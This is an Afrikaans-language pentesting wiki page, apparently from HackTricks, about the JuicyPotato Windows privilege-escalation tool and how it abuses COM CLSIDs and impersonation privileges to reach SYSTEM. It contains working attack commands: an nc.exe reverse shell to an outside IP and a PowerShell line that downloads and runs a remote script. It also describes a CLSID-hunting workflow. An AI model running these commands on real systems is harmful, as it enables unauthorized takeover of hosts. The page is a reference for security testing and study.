JuicyPotato

Ondersteun HackTricks

JuicyPotato werk nie op Windows Server 2019 en Windows 10 bou 1809 en later nie. egter, PrintSpoofer, RoguePotato, SharpEfsPotato kan gebruik word om die selfde voorregte te benut en NT AUTHORITY\SYSTEM vlak toegang te verkry. Kyk:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (misbruik van die goue voorregte)

'n gesuikerde weergawe van RottenPotatoNG, met 'n bietjie sap, d.w.s. nog 'n Plaaslike Voorreg Escalation hulpmiddel, van 'n Windows Diens Rekeninge na NT AUTHORITY\SYSTEM

Samevatting

Van juicy-potato Readme:

RottenPotatoNG en sy variantes benut die voorregte eskalasie ketting gebaseer op BITS diens wat die MiTM luisteraar op 127.0.0.1:6666 het en wanneer jy SeImpersonate of SeAssignPrimaryToken voorregte het. Tydens 'n Windows bou hersiening het ons 'n opstelling gevind waar BITS doelbewus gedeaktiveer was en poort 6666 geneem is.

Ons het besluit om RottenPotatoNG te wapen: Sê hallo aan Juicy Potato.

Vir die teorie, sien Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM en volg die ketting van skakels en verwysings.

Ons het ontdek dat, behalwe BITS, daar 'n aantal COM bedieners is wat ons kan misbruik. Hulle moet net:

  1. deur die huidige gebruiker instantiëerbaar wees, normaalweg 'n “diens gebruiker” wat impersonasie voorregte het

  2. die IMarshal koppelvlak implementeer

  3. as 'n verhoogde gebruiker (SYSTEM, Administrateur, …) loop

Na 'n paar toetse het ons 'n uitgebreide lys van interessante CLSID's op verskeie Windows weergawes verkry en getoets.

Juicy besonderhede

JuicyPotato laat jou toe om:

  • Teiken CLSID kies enige CLSID wat jy wil. Hier kan jy die lys vind wat volgens OS georganiseer is.

  • COM Luisterpoort definieer die COM luisterpoort wat jy verkies (in plaas van die gemarshalled hardcoded 6666)

  • COM Luister IP adres bind die bediener op enige IP

  • Proses skepping modus afhangende van die geïmpersoniseerde gebruiker se voorregte kan jy kies uit:

  • CreateProcessWithToken (het SeImpersonate nodig)

  • CreateProcessAsUser (het SeAssignPrimaryToken nodig)

  • albei

  • Proses om te begin begin 'n uitvoerbare of skrip as die uitbuiting slaag

  • Proses Argument pas die begin proses argumente aan

  • RPC Bediener adres vir 'n stealthy benadering kan jy autentiseer by 'n eksterne RPC bediener

  • RPC Bediener poort nuttig as jy wil autentiseer by 'n eksterne bediener en die vuurmuur blokkeer poort 135

  • TOETS modus hoofsaaklik vir toetsdoeleindes, d.w.s. toets CLSIDs. Dit skep die DCOM en druk die gebruiker van die token. Sien hier vir toetsing

Gebruik

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Final thoughts

From juicy-potato Readme:

As die gebruiker SeImpersonate of SeAssignPrimaryToken regte het, dan is jy SYSTEM.

Dit is byna onmoontlik om die misbruik van al hierdie COM Servers te voorkom. Jy kan dink aan die aanpassing van die regte van hierdie voorwerpe via DCOMCNFG, maar goeie geluk, dit gaan uitdagend wees.

Die werklike oplossing is om sensitiewe rekeninge en toepassings wat onder die * SERVICE rekeninge loop, te beskerm. Om DCOM te stop, sal beslis hierdie ontploffing inhibeer, maar kan 'n ernstige impak op die onderliggende OS hê.

From: http://ohpe.it/juicy-potato/

Examples

Note: Visit this page for a list of CLSIDs to try.

Get a nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Begin 'n nuwe CMD (as jy RDP-toegang het)

CLSID Probleme

Dikwels werk die standaard CLSID wat JuicyPotato gebruik nie en die exploit misluk. Gewoonlik neem dit verskeie pogings om 'n werkende CLSID te vind. Om 'n lys CLSIDs te kry om vir 'n spesifieke bedryfstelsel te probeer, moet jy hierdie bladsy besoek:

Kontroleer CLSIDs

Eerstens, jy sal 'n paar uitvoerbare lêers nodig hê behalwe juicypotato.exe.

Laai Join-Object.ps1 af en laai dit in jou PS-sessie, en laai en voer GetCLSID.ps1 uit. Daardie skrip sal 'n lys moontlike CLSIDs skep om te toets.

Laai dan test_clsid.bat af (verander die pad na die CLSID lys en na die juicypotato uitvoerbare lêer) en voer dit uit. Dit sal begin om elke CLSID te probeer, en wanneer die poortnommer verander, sal dit beteken dat die CLSID gewerk het.

Kontroleer die werkende CLSIDs met die parameter -c

Verwysings

Ondersteun HackTricks

Last updated